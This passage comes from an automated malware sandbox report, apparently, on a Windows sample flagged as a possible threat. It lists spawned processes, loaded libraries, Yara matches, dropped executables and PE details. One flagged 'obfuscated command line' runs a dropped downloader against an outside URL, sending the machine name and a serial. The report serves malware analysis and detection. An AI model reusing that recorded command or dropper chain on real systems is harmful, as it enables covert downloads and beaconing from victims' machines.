                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4164 -parentBuildID 20230927232528 -prefsHandle 4628 -prefMapHandle 4620 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {82d645db-fc8a-46d4-a6c6-6ecf6ff53d4a} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435dcb5e10 rddJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: unknown unknownJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5136 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5200 -prefMapHandle 5196 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02166d0c-fa79-4115-8a80-2fad783b6113} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435db1b910 utilityJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: unknown unknownJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: unknown unknownJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: unknown unknownJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: unknown unknownJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeSection loaded: winmm.dllJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeSection loaded: msimg32.dllJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: wsock32.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: napinsp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: pnrpnsp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: wshbth.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: nlaapi.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: winrnr.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: explorerframe.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: textinputframework.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: coreuicomponents.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeSection loaded: textshaping.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: framedynos.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: dbghelp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: winsta.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: framedynos.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: dbghelp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: winsta.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: framedynos.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: dbghelp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: winsta.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\taskkill.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: framedynos.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: msxml6.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: vcruntime140.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: vbscript.dllJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\more.comSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\SysWOW64\more.comSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: wsock32.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: napinsp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: pnrpnsp.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: wshbth.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: nlaapi.dllJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeSection loaded: winrnr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
                  Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{56FDF344-FD6D-11d0-958A-006097C9A090}\InProcServer32Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile written: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appinfo.iniJump to behavior
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeStatic file information: File size 5650432 > 1048576
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x557200
                  Source: Binary string: NapiNSP.pdbUGP source: firefox.exe, 00000011.00000003.2508775813.00000243577B6000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: NapiNSP.pdb source: firefox.exe, 00000011.00000003.2508775813.00000243577B6000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: netprofm.pdb source: firefox.exe, 00000011.00000003.2504585407.0000024369605000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: netprofm.pdbUGP source: firefox.exe, 00000011.00000003.2504585407.0000024369605000.00000004.00000020.00020000.00000000.sdmp

                  Data Obfuscation

                  barindex
                  Obfuscated command line found
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log2.txt -o result.html "http://upjv.info/clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH"
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log2.txt -o result.html "http://upjv.info/clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH" Jump to behavior
                  Yara detected BatToExe compiled binary
                  Source: Yara matchFile source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, type: SAMPLE
                  Source: Yara matchFile source: 0.0.SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0000000B.00000002.2223771083.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.2157879689.000000000073E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000E.00000003.2237351744.0000000001B67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000003.2223024451.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000003.2144398167.00000000024F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000000.2067844678.000000000040D000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000003.2223110402.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000002.2142911942.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000F.00000002.2244829208.00000295A9E94000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2224729495.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.2157997210.00000000021C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000E.00000003.2237260409.0000000001B66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000003.2142647323.0000000003186000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.2158345471.0000000002630000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000002.2142911942.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000A.00000002.2210446103.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2224220104.0000000002A60000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.2157879689.0000000000730000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000A.00000002.2210406341.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000003.2223024451.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000C.00000002.2226505928.0000000003070000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000003.2223110402.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000C.00000002.2226559592.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2899329779.0000000000B79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000E.00000002.2238482972.0000000001B68000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000E.00000002.2238231270.0000000001810000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000E.00000002.2238231270.0000000001819000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000002.2143550967.000000000166D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000A.00000002.2210504115.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000F.00000002.2244829208.00000295A9E90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000003.2223569597.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000A.00000002.2210504115.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000F.00000002.2243026015.00000295A9A5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2224793423.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2899329779.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.2157782435.0000000000530000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000C.00000002.2226536723.0000000003130000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000003.2222855195.0000000002B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000002.2143550967.0000000001660000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000E.00000002.2238569276.0000000001CB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000E.00000002.2238569276.0000000001CB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2224864903.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2224959404.0000000002B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000002.2143628501.0000000003188000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe PID: 6304, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: ariac.exe PID: 4536, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: clean.exe PID: 7124, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: 7z.exe PID: 5960, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: WMIC.exe PID: 5548, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: more.com PID: 2212, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: ariac.exe PID: 1292, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: firefox.exe PID: 1164, type: MEMORYSTR
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_00407551 LoadLibraryA,GetProcAddress,GetVersionExA,0_2_00407551
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeStatic PE information: section name: .code
                  Source: ariac.exe.0.drStatic PE information: section name: .xdata
                  Source: ariac.exe.2.drStatic PE information: section name: .xdata
                  Source: clean.exe.4.drStatic PE information: section name: .sxdata
                  Source: 7-zip.dll.5.drStatic PE information: section name: .sxdata
                  Source: 7z.dll.5.drStatic PE information: section name: .sxdata
                  Source: 7z.exe.5.drStatic PE information: section name: .sxdata
                  Source: 7zFM.exe.5.drStatic PE information: section name: .sxdata
                  Source: 7zG.exe.5.drStatic PE information: section name: .sxdata
                  Source: 7-zip32.dll.5.drStatic PE information: section name: .sxdata
                  Source: 7z.sfx.5.drStatic PE information: section name: .sxdata
                  Source: 7zCon.sfx.5.drStatic PE information: section name: .sxdata
                  Source: 7z.sfx0.5.drStatic PE information: section name: .sxdata
                  Source: 7zCon.sfx0.5.drStatic PE information: section name: .sxdata
                  Source: gmpopenh264.dll.tmp.17.drStatic PE information: section name: .rodata
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004272C0 push eax; ret 5_2_004272DE
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00427660 push eax; ret 5_2_0042768E
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_0041FD90 push ecx; mov dword ptr [esp], ecx5_2_0041FD91
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C83220 push ecx; mov dword ptr [esp], ecx10_2_00C83221
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C836F0 push eax; ret 10_2_00C8370E
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C83AA0 push eax; ret 10_2_00C83ACE
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zCon.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zFM.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zCon.sfxJump to dropped file
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmpJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7-zip.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.sfxJump to dropped file
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeFile created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)Jump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zG.exeJump to dropped file
                  Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\TMP\cr-20241021-53901\ariac.exeJump to dropped file
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeFile created: C:\Users\user\Desktop\ariac.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip32.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zG.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.dllJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zFM.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\7-ZipPortable.exeJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zCon.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zCon.sfxJump to dropped file
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\License.txtJump to behavior
